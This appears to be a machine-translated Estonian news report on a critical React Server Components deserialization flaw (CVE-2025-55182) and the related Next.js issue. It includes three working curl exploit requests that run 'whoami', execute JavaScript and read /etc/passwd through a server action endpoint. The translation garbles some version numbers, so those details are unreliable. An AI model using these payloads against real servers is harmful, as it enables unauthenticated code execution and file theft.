Haavatavus Reacti serverikomponentides, mis vÔimaldab koodi tÀitmist serveris

Web-raamistikus React (RSC, React Server Components) on kÔrvaldatud haavatavus (CVE-2025-55182), mis vÔimaldas serveri töötleja kaudu saatmise kaudu tÀita serveris juhuslikku koodi. Haavatusele on mÀÀratud kriitiline ohutase (10/10). Haavatavus ilmneb eksperimentaalsetes komponentides react-server-dom-webpack, react-server-dom-parcel ja react-server-dom-turbopack, mida kasutatakse funktsioonide tÀitmiseks ja kasutajaliideseelementide genereerimiseks serveris, mitte kliendipoolselt.

Probleem on pĂ”hjustatud ebaturvalisest andmete deserialiseerimisest, mis saadakse HTTP-pĂ€ringutest serveri töötlejatele. Töötlejat „vm#runInThisContext“, „vm#runInNewContext“, „child_process#execFileSync“ ja „child_process#execSync“ saab kasutada sĂŒsteemis kĂ€skude kĂ€itamiseks vĂ”i JavaScripti koodi tĂ€itmiseks hetkel kĂ€imasolevas protsessis (kinnitades sandbox-i isoleerimise). Samuti on vĂ”imalik kasutada töötlejat „fs#readFileSync“ ja „fs#writeFileSync“ juhuslike failide lugemiseks ja kirjutamiseks. serveril, kuidas praegused ligipÀÀsu Ă”igused lubavad. RĂŒnnaku jaoks ei ole vaja autentimist. Eksploitatsiooni prototĂŒĂŒp on saadaval. # KĂ€ivita kĂ€sk whoami curl -X POST http://localhost:3002/formaction \ -F ‘$ACTION_REF_0=’ \ -F ‘$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}’ # JavaScripti koodi tĂ€itmine 1+1 curl -X POST http://localhost:3002/formaction \ -F ‘$ACTION_REF_0=’ \ -F ‘$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}’ # Faili lugemine /etc/passwd curl -X POST http://localhost:3002/formaction \ -F ‘$ACTION_REF_0=’ \ -F ‘$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}’

SĂŒsteemide haavatavus sĂ”ltub haavatavate serveri komponentide, nagu react-server-dom-webpack, react-server-dom-parcel ja react-server-dom-turbopack, kasutamisest. Rakendused, mis ei kasuta react-serverit, ei ole haavatavust alt vedanud. Haavatavuse ulatus nendes töö sĂŒsteemides, kus Reacti kasutatakse, ei ole veel selge. Ühest kĂŒljest on React ĂŒks populaarsemaid veebiraamistikud (kasutatakse umbes 6% veebisaitidest) ning haavatavad komponendid arendatakse peamiselt pĂ”hirepositooriumis ja sisalduvad avaldustes. Haavatavaid komponente toetatakse ka Reacti pĂ”histel raamistikudel, nagu Next.js ja react-router. Wiz Researchi andmetel tuvastati haavatavad nĂ€idised 39% analĂŒĂŒsitud pilvekeskkondadest.

Teisest kĂŒljest genereeritakse sisu serveris lĂ€bi React Server Komponendid on harva kasutatav funktsioon (enamik Reacti saite renderdavad liidest ainult kliendi poolel), samas kui haavatavad komponendid on mĂ€rgitud eksperimentaalsetena ja ei taga korrektset toimimist. Nendel komponentidel on suhteliselt vĂ€ike otse NPM-i hoidlast allalaadimise arv: react-server-dom-webpack — 670 tuhat nĂ€dalas, react-server-dom-parcel — 7 tuhat ja react-server-dom-turbopack — 32 tuhat, vĂ”rreldes NPM-paketi React'iga, millel on 45 miljonit allalaadimist nĂ€dalas.

Haavatavus esineb versioonides React 9.0.0, 19.1.0, 19.1.1 ja 19.2.0 ning on kÔrvaldatud vÀrskendustes React 19.0.1, 19.1.2 ja 19.2.1. Haavatavad komponendid on samuti kasutuses paketides Next.js (16 miljonit allalaadimist nÀdalas), react-router (20 miljonit allalaadimist nÀdalas), waku, @parcel/rsc, @vitejs/plugin-rsc ja rwsdk.

Next.js raamistikus haavatavus (CVE-2025-66478) mĂ”jutab rakendusi, mis kasutavad App Routerit ja Next.js versioone 15.x ja 16.x. VĂ€idetavalt avaldub haavatavus Next.js vaikimisi konfiguratsioonis (tavarakendus, mille loob utiliit create-next-app, on rĂŒnnaku alti). Kasutajatele soovitatakse vĂ”imalikult kiiresti paigaldada vĂ€rskendus Next.js 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7 vĂ”i 16.0.7.

Allikas: opennet.ru

Osta usaldusvÀÀrne veebihosting DDoS kaitsega, VPS VDS serverid đŸ”„ Osta usaldusvÀÀrne veebihosting DDoS kaitsega, VPS VDS serverid | ProHoster